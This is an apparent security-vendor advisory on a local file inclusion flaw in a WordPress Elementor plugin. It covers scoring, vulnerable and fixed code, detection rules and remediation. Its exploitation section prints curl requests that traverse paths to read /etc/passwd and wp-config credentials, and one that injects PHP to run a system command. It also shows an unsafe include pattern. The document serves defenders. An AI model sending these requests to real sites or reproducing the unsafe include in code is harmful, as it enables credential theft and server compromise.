CVE-2025-32672

Executive Summary

CVE-2025-32672 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin "Ultimate Bootstrap Elements for Elementor" by G5theme. The flaw resides in the plugin's improper control of filenames used in PHP include or require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file to obtain database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The vulnerability affects all versions up to and including 1.4.9. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to immediately disable the plugin until an official patch is released. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no package manager-specific mitigations apply.

CVSS Breakdown & Threat Level

CVSS Score: 8.1 (High)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Critical for WordPress sites using this plugin. The lack of a patch and the ease of exploitation (no authentication) make it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) stemming from the CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'). The plugin likely uses a dynamic include() or require() statement where the filename is constructed from user-supplied input (e.g., via a GET/POST parameter, cookie, or file path) without proper sanitization or validation.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include($file . '.php');
?>

An attacker can manipulate the file parameter to traverse directories and include arbitrary files:

http://target.com/wp-content/plugins/ultimate-bootstrap-elements-for-elementor/vuln.php?file=../../../../wp-config

This would include the WordPress configuration file, revealing database credentials.

Why it's LFI, not RFI: The description mentions "PHP Remote File Inclusion," but the CVSS vector and context indicate Local File Inclusion. The allow_url_include PHP directive is typically disabled on production servers, preventing remote file inclusion. However, LFI alone is still critical.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and the expected fix.

Vulnerable Code (Hypothetical):

<?php
// vulnerable.php
$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
?>

Patched Code (Expected):

<?php
// patched.php
$allowed_templates = array('default', 'fullwidth', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Handle error
    wp_die('Invalid template.');
}
?>

The patch would implement a whitelist of allowed filenames, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the vulnerable plugin (version 1.4.9).
2. Identify the vulnerable endpoint (e.g., /wp-content/plugins/ultimate-bootstrap-elements-for-elementor/vuln.php).

Exploitation Steps:

1. Basic LFI to read /etc/passwd:

   curl "http://target.com/wp-content/plugins/ultimate-bootstrap-elements-for-elementor/vuln.php?file=../../../../../../etc/passwd"
   

2. Read WordPress configuration:

   curl "http://target.com/wp-content/plugins/ultimate-bootstrap-elements-for-elementor/vuln.php?file=../../../../wp-config"
   

3. Attempt to include PHP wrappers for code execution (if allow_url_include is enabled):

   curl "http://target.com/wp-content/plugins/ultimate-bootstrap-elements-for-elementor/vuln.php?file=php://input" -d "<?php system('id'); ?>"
   

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious file parameters containing ../ or php://.
• Look for requests to the plugin directory with unusual query strings.

Mitigation:

• Immediately disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block directory traversal patterns.
• Restrict file inclusion via PHP configuration (disable allow_url_include).

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/ultimate-bootstrap-elements-for-elementor/
• URL Patterns: ?file=, ?template=, ?include= with ../ sequences.
• Log Entries: HTTP 200 responses to requests containing ../../ in the query string.
• Network Traffic: Outbound connections from the web server to external IPs (if RFI is possible).

Detection Engineering

YARA Rule

rule CVE_2025_32672_LFI_WordPress {
    meta:
        description = "Detects attempts to exploit CVE-2025-32672 LFI in Ultimate Bootstrap Elements for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32672"
    strings:
        $s1 = "ultimate-bootstrap-elements-for-elementor" nocase
        $s2 = "../" ascii wide
        $s3 = "wp-config" ascii wide
        $s4 = "/etc/passwd" ascii wide
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-32672 LFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects directory traversal attempts targeting the Ultimate Bootstrap Elements for Elementor plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'ultimate-bootstrap-elements-for-elementor'
            - '../'
            - 'wp-config'
            - '/etc/passwd'
    condition: selection
falsepositives:
    - Legitimate use of the plugin with similar paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32672 LFI Attempt - Ultimate Bootstrap Elements for Elementor"; flow:to_server,established; content:"ultimate-bootstrap-elements-for-elementor"; http_uri; content:"../"; http_uri; distance:0; content:"wp-config"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the "Ultimate Bootstrap Elements for Elementor" plugin on all WordPress sites.
2. Patch: Monitor the plugin's official page for a security update. Apply as soon as available.
3. WAF Rules: Deploy virtual patching via WAF to block ../ and php:// patterns in query strings.
4. PHP Hardening: Ensure allow_url_include is set to Off in php.ini.
5. File Permissions: Restrict read access to sensitive files like wp-config.php (e.g., set to 600).
6. Monitoring: Enable logging and alerting for directory traversal attempts.

Valters IT
Securing Digital Frontiers